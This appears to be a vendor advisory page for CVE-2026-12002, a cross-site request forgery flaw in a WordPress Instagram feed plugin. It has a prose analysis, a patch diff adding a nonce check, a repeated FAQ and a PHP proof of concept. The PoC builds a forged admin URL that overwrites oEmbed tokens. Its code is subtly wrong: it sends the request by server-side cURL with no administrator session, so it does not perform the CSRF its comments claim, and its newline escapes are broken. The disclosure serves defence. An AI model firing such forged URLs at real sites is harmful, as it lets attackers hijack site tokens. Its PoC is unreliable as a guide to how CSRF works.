What is CVE-2026-12002?

CVE-2026-12002 is a Cross-Site Request Forgery (CSRF) vulnerability in the Smash Balloon Social Photo Feed plugin for WordPress, versions 6.11.1 and earlier. It allows an unauthenticated attacker to overwrite the site’s Instagram and Facebook oEmbed access tokens by tricking a site administrator into clicking a crafted link.

How does the vulnerability work?

The vulnerability exists in the `maybe_connection_data()` function in `SBI_oEmbeds.php`, which processes GET requests containing parameters like `sbi_oembed_token` and `cff_oembed_token` without verifying a nonce. An attacker can craft a URL that, when visited by an authenticated administrator, overwrites the stored oEmbed tokens with attacker-controlled values.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 4.7, which is classified as Medium severity. This indicates moderate risk, as exploitation requires user interaction (tricking an admin) but can lead to compromise of social media integration integrity.

Who is affected by this vulnerability?

All WordPress sites using the Smash Balloon Social Photo Feed plugin version 6.11.1 or earlier are affected. Sites with the plugin installed and oEmbed functionality enabled are at risk if an administrator can be tricked into clicking a malicious link.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin under Plugins. If the version is 6.11.1 or lower, your site is vulnerable. You can also verify by looking for the `SBIVER` constant in the plugin’s main file; if it is ‘6.11.1’ or earlier, the site is affected.

How do I fix the vulnerability?

Update the Smash Balloon Social Photo Feed plugin to version 6.11.2 or later. The patch adds a nonce check in the `maybe_connection_data()` function that prevents unauthorized token overwrites. You can update via the WordPress admin dashboard or by downloading the latest version from the plugin repository.

What does the proof of concept demonstrate?

The proof of concept shows how an attacker can craft a URL with parameters like `sbi_oembed_token=ATTACKER_TOKEN` and `transfer=1` pointing to the vulnerable admin page. When an administrator clicks the link, the plugin overwrites the stored oEmbed tokens with the attacker’s values, demonstrating the CSRF exploit.

What are the practical risks of exploitation?

If exploited, an attacker can replace the site’s Instagram and Facebook oEmbed access tokens with their own. This could allow them to control displayed content, serve malicious content via oEmbeds, or disrupt social media integration. The integrity and availability of embedded feeds are compromised.

Is there any mitigation if I cannot update immediately?

As a temporary measure, you can disable the oEmbed functionality in the plugin settings or restrict access to the vulnerable admin page via .htaccess or a security plugin. However, updating to the patched version is the only complete fix.

What is the root cause of the vulnerability?

The root cause is missing nonce validation in the `maybe_connection_data()` function. The code directly processes GET parameters like `sbi_oembed_token` and `transfer` without verifying a CSRF nonce, allowing unauthenticated requests to modify stored tokens.

How does the patch fix the issue?

The patch adds a nonce check at the beginning of the critical code path in `SBI_oEmbeds.php`. It retrieves the `sbi_con` parameter from `$_GET`, sanitizes it, and verifies it against the `sbi_con` nonce using `wp_verify_nonce()`. If the nonce is missing or invalid, the function returns false immediately.

What should I do if I suspect my site has been exploited?

If you suspect exploitation, immediately update the plugin to version 6.11.2. Then review your oEmbed token settings in the plugin’s admin page and reset them if necessary. Check for any unauthorized changes to social media feeds and consider rotating any associated API keys.

Published : July 7, 2026

CVE-2026-12002: Smash Balloon Social Photo Feed – Easy Social Feeds Plugin <= 6.11.1 Cross-Site Request Forgery to oEmbed Access Token Overwrite via 'sbi_access_token' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-12002

Plugin instagram-feed

Severity Medium (CVSS 4.7)

CWE 352

Vulnerable Version 6.11.1

Patched Version 6.11.2

Disclosed July 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12002:

This vulnerability affects the Smash Balloon Social Photo Feed – Easy Social Feeds Plugin for WordPress, versions 6.11.1 and earlier. It is a Cross-Site Request Forgery (CSRF) issue that allows unauthenticated attackers to overwrite the site’s Instagram and Facebook oEmbed access tokens. The CVSS score is 4.7 (Medium).

The root cause is missing or incorrect nonce validation in the `maybe_connection_data()` function located in `instagram-feed/admin/SBI_oEmbeds.php`. Prior to the patch, the function processed requests containing `sbi_access_token` and related parameters without verifying a nonce. The code path at line 320 (approximately) handled the `transfer` and `sbi_oembed_token` parameters directly from GET request data. An attacker could craft a URL that, when visited by an authenticated administrator, would overwrite the stored oEmbed tokens with attacker-controlled values.

Exploitation requires tricking a site administrator into clicking a crafted link. The attacker creates a URL pointing to the vulnerable WordPress admin page, including query parameters such as `sbi_oembed_token`, `cff_oembed_token`, or `transfer`. Because the `maybe_connection_data()` function does not check a nonce, the request proceeds and overwrites the stored tokens. No authentication or prior knowledge of nonces is needed beyond the administrator’s active session.

The patch adds a nonce check at the beginning of the critical code path in `SBI_oEmbeds.php`. It retrieves the `sbi_con` parameter from `$_GET`, sanitizes it with `sanitize_key()`, and verifies it against the `sbi_con` nonce using `wp_verify_nonce()`. If the nonce is missing or invalid, the function returns `false` immediately, preventing any token modification. This mirrors the existing pattern used in `SBI_Source::maybe_source_connection_data()`.

If exploited, an attacker can replace the site’s Instagram and Facebook oEmbed access tokens with their own credentials. This could allow the attacker to control which content appears in oEmbed-powered embeds, potentially serving malicious content, exfiltrating data through the oEmbed API, or disrupting the site’s social media integration functionality. The integrity and availability of the embedded social feeds are compromised.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/instagram-feed/admin/SBI_oEmbeds.php
+++ b/instagram-feed/admin/SBI_oEmbeds.php
@@ -320,6 +320,15 @@
 			$sbi_notices->remove_notice('oembed_api_change_reconnect');
 		}

+		// The branches below persist oEmbed tokens (sbi_oembed_token / cff_oembed_token)
+		// straight from request data on a GET page load. Require the connection nonce that
+		// get_connection_url() issues and the connect flow returns, so a forged cross-site
+		// request can't overwrite the tokens. Mirrors SBI_Source::maybe_source_connection_data().
+		$nonce = !empty($_GET['sbi_con']) ? sanitize_key($_GET['sbi_con']) : '';
+		if (!wp_verify_nonce($nonce, 'sbi_con')) {
+			return false;
+		}
+
 		if (!empty($_GET['transfer'])) {
 			if (class_exists('CustomFacebookFeedCFF_Oembed')) {
 				$cff_oembed_token = CFF_Oembed::last_access_token();
--- a/instagram-feed/instagram-feed.php
+++ b/instagram-feed/instagram-feed.php
@@ -4,7 +4,7 @@
 Plugin Name: Smash Balloon Instagram Feed
 Plugin URI: https://smashballoon.com/instagram-feed
 Description: Display beautifully clean, customizable, and responsive Instagram feeds.
-Version: 6.11.1
+Version: 6.11.2
 Requires PHP: 7.4
 Author: Smash Balloon
 Author URI: https://smashballoon.com/
@@ -54,7 +54,7 @@
 	define('SBI_PLUGIN_NAME', 'Instagram Feed Free');
 }
 if (!defined('SBIVER')) {
-	define('SBIVER', '6.11.1');
+	define('SBIVER', '6.11.2');
 }
 // Db version.
 if (!defined('SBI_DBVERSION')) {
--- a/instagram-feed/vendor/composer/installed.php
+++ b/instagram-feed/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace InstagramFeedVendor;

-return array('root' => array('name' => 'smashballoon/instagram-feed', 'pretty_version' => 'v6.11.1', 'version' => '6.11.1.0', 'reference' => 'c973918bf95feee1d33e329354a39a3de7fef28a', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('laravel/serializable-closure' => array('pretty_version' => 'v1.3.7', 'version' => '1.3.7.0', 'reference' => '4f48ade902b94323ca3be7646db16209ec76be3d', 'type' => 'library', 'install_path' => __DIR__ . '/../laravel/serializable-closure', 'aliases' => array(), 'dev_requirement' => false), 'php-di/invoker' => array('pretty_version' => '2.3.7', 'version' => '2.3.7.0', 'reference' => '3c1ddfdef181431fbc4be83378f6d036d59e81e1', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/invoker', 'aliases' => array(), 'dev_requirement' => false), 'php-di/php-di' => array('dev_requirement' => false, 'replaced' => array(0 => '6.4.0')), 'php-di/phpdoc-reader' => array('pretty_version' => '2.2.1', 'version' => '2.2.1.0', 'reference' => '66daff34cbd2627740ffec9469ffbac9f8c8185c', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/phpdoc-reader', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/framework' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '7d98a252e7a338c8cd506aad5a3d862eaa4f50f3', 'type' => 'library', 'install_path' => __DIR__ . '/../smashballoon/framework', 'aliases' => array(0 => '9999999-dev'), 'dev_requirement' => false), 'smashballoon/instagram-feed' => array('pretty_version' => 'v6.11.1', 'version' => '6.11.1.0', 'reference' => 'c973918bf95feee1d33e329354a39a3de7fef28a', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/stubs' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '063c3e588e897985d83cb65958c45e12281263ba', 'type' => 'library', 'install_path' => __DIR__ . '/../smashballoon/stubs', 'aliases' => array(0 => '9999999-dev'), 'dev_requirement' => false)));
+return array('root' => array('name' => 'smashballoon/instagram-feed', 'pretty_version' => 'v6.11.2', 'version' => '6.11.2.0', 'reference' => 'a6787838d0e23b3c6e9c304c7275b829d124af4d', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('laravel/serializable-closure' => array('pretty_version' => 'v1.3.7', 'version' => '1.3.7.0', 'reference' => '4f48ade902b94323ca3be7646db16209ec76be3d', 'type' => 'library', 'install_path' => __DIR__ . '/../laravel/serializable-closure', 'aliases' => array(), 'dev_requirement' => false), 'php-di/invoker' => array('pretty_version' => '2.3.7', 'version' => '2.3.7.0', 'reference' => '3c1ddfdef181431fbc4be83378f6d036d59e81e1', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/invoker', 'aliases' => array(), 'dev_requirement' => false), 'php-di/php-di' => array('dev_requirement' => false, 'replaced' => array(0 => '6.4.0')), 'php-di/phpdoc-reader' => array('pretty_version' => '2.2.1', 'version' => '2.2.1.0', 'reference' => '66daff34cbd2627740ffec9469ffbac9f8c8185c', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/phpdoc-reader', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/framework' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '7d98a252e7a338c8cd506aad5a3d862eaa4f50f3', 'type' => 'library', 'install_path' => __DIR__ . '/../smashballoon/framework', 'aliases' => array(0 => '9999999-dev'), 'dev_requirement' => false), 'smashballoon/instagram-feed' => array('pretty_version' => 'v6.11.2', 'version' => '6.11.2.0', 'reference' => 'a6787838d0e23b3c6e9c304c7275b829d124af4d', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/stubs' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '063c3e588e897985d83cb65958c45e12281263ba', 'type' => 'library', 'install_path' => __DIR__ . '/../smashballoon/stubs', 'aliases' => array(0 => '9999999-dev'), 'dev_requirement' => false)));

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12002 - Smash Balloon Social Photo Feed – Easy Social Feeds Plugin <= 6.11.1 - Cross-Site Request Forgery to oEmbed Access Token Overwrite

// Configuration: change this to the target WordPress admin URL
$target_url = 'http://example.com/wp-admin/admin.php?page=sbi-oembeds&sbi_oembed_token=ATTACKER_TOKEN&cff_oembed_token=ATTACKER_TOKEN&transfer=1';

// Initialize cURL session
$ch = curl_init();

// Set the target URL - this will be a forged request that an admin clicks
curl_setopt($ch, CURLOPT_URL, $target_url);

// Return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Follow redirects (optional, admin might be redirected)
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Set a reasonable timeout
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Request sent successfully.n";
    echo "HTTP Status: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
    echo "Response length: " . strlen($response) . " bytesn";
}

// Close the session
curl_close($ch);
?>

Frequently Asked Questions

What is CVE-2026-12002?
Vulnerability overview
CVE-2026-12002 is a Cross-Site Request Forgery (CSRF) vulnerability in the Smash Balloon Social Photo Feed plugin for WordPress, versions 6.11.1 and earlier. It allows an unauthenticated attacker to overwrite the site’s Instagram and Facebook oEmbed access tokens by tricking a site administrator into clicking a crafted link.
How does the vulnerability work?
Technical mechanism
The vulnerability exists in the `maybe_connection_data()` function in `SBI_oEmbeds.php`, which processes GET requests containing parameters like `sbi_oembed_token` and `cff_oembed_token` without verifying a nonce. An attacker can craft a URL that, when visited by an authenticated administrator, overwrites the stored oEmbed tokens with attacker-controlled values.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 4.7, which is classified as Medium severity. This indicates moderate risk, as exploitation requires user interaction (tricking an admin) but can lead to compromise of social media integration integrity.
Who is affected by this vulnerability?
Affected versions and users
All WordPress sites using the Smash Balloon Social Photo Feed plugin version 6.11.1 or earlier are affected. Sites with the plugin installed and oEmbed functionality enabled are at risk if an administrator can be tricked into clicking a malicious link.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in the WordPress admin under Plugins. If the version is 6.11.1 or lower, your site is vulnerable. You can also verify by looking for the `SBIVER` constant in the plugin’s main file; if it is ‘6.11.1’ or earlier, the site is affected.
How do I fix the vulnerability?
Patch and update
Update the Smash Balloon Social Photo Feed plugin to version 6.11.2 or later. The patch adds a nonce check in the `maybe_connection_data()` function that prevents unauthorized token overwrites. You can update via the WordPress admin dashboard or by downloading the latest version from the plugin repository.
What does the proof of concept demonstrate?
PoC explanation
The proof of concept shows how an attacker can craft a URL with parameters like `sbi_oembed_token=ATTACKER_TOKEN` and `transfer=1` pointing to the vulnerable admin page. When an administrator clicks the link, the plugin overwrites the stored oEmbed tokens with the attacker’s values, demonstrating the CSRF exploit.
What are the practical risks of exploitation?
Impact on site
If exploited, an attacker can replace the site’s Instagram and Facebook oEmbed access tokens with their own. This could allow them to control displayed content, serve malicious content via oEmbeds, or disrupt social media integration. The integrity and availability of embedded feeds are compromised.
Is there any mitigation if I cannot update immediately?
Temporary workarounds
As a temporary measure, you can disable the oEmbed functionality in the plugin settings or restrict access to the vulnerable admin page via .htaccess or a security plugin. However, updating to the patched version is the only complete fix.
What is the root cause of the vulnerability?
Code analysis
The root cause is missing nonce validation in the `maybe_connection_data()` function. The code directly processes GET parameters like `sbi_oembed_token` and `transfer` without verifying a CSRF nonce, allowing unauthenticated requests to modify stored tokens.
How does the patch fix the issue?
Patch details
The patch adds a nonce check at the beginning of the critical code path in `SBI_oEmbeds.php`. It retrieves the `sbi_con` parameter from `$_GET`, sanitizes it, and verifies it against the `sbi_con` nonce using `wp_verify_nonce()`. If the nonce is missing or invalid, the function returns false immediately.
What should I do if I suspect my site has been exploited?
Incident response
If you suspect exploitation, immediately update the plugin to version 6.11.2. Then review your oEmbed token settings in the plugin’s admin page and reset them if necessary. Check for any unauthorized changes to social media feeds and consider rotating any associated API keys.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started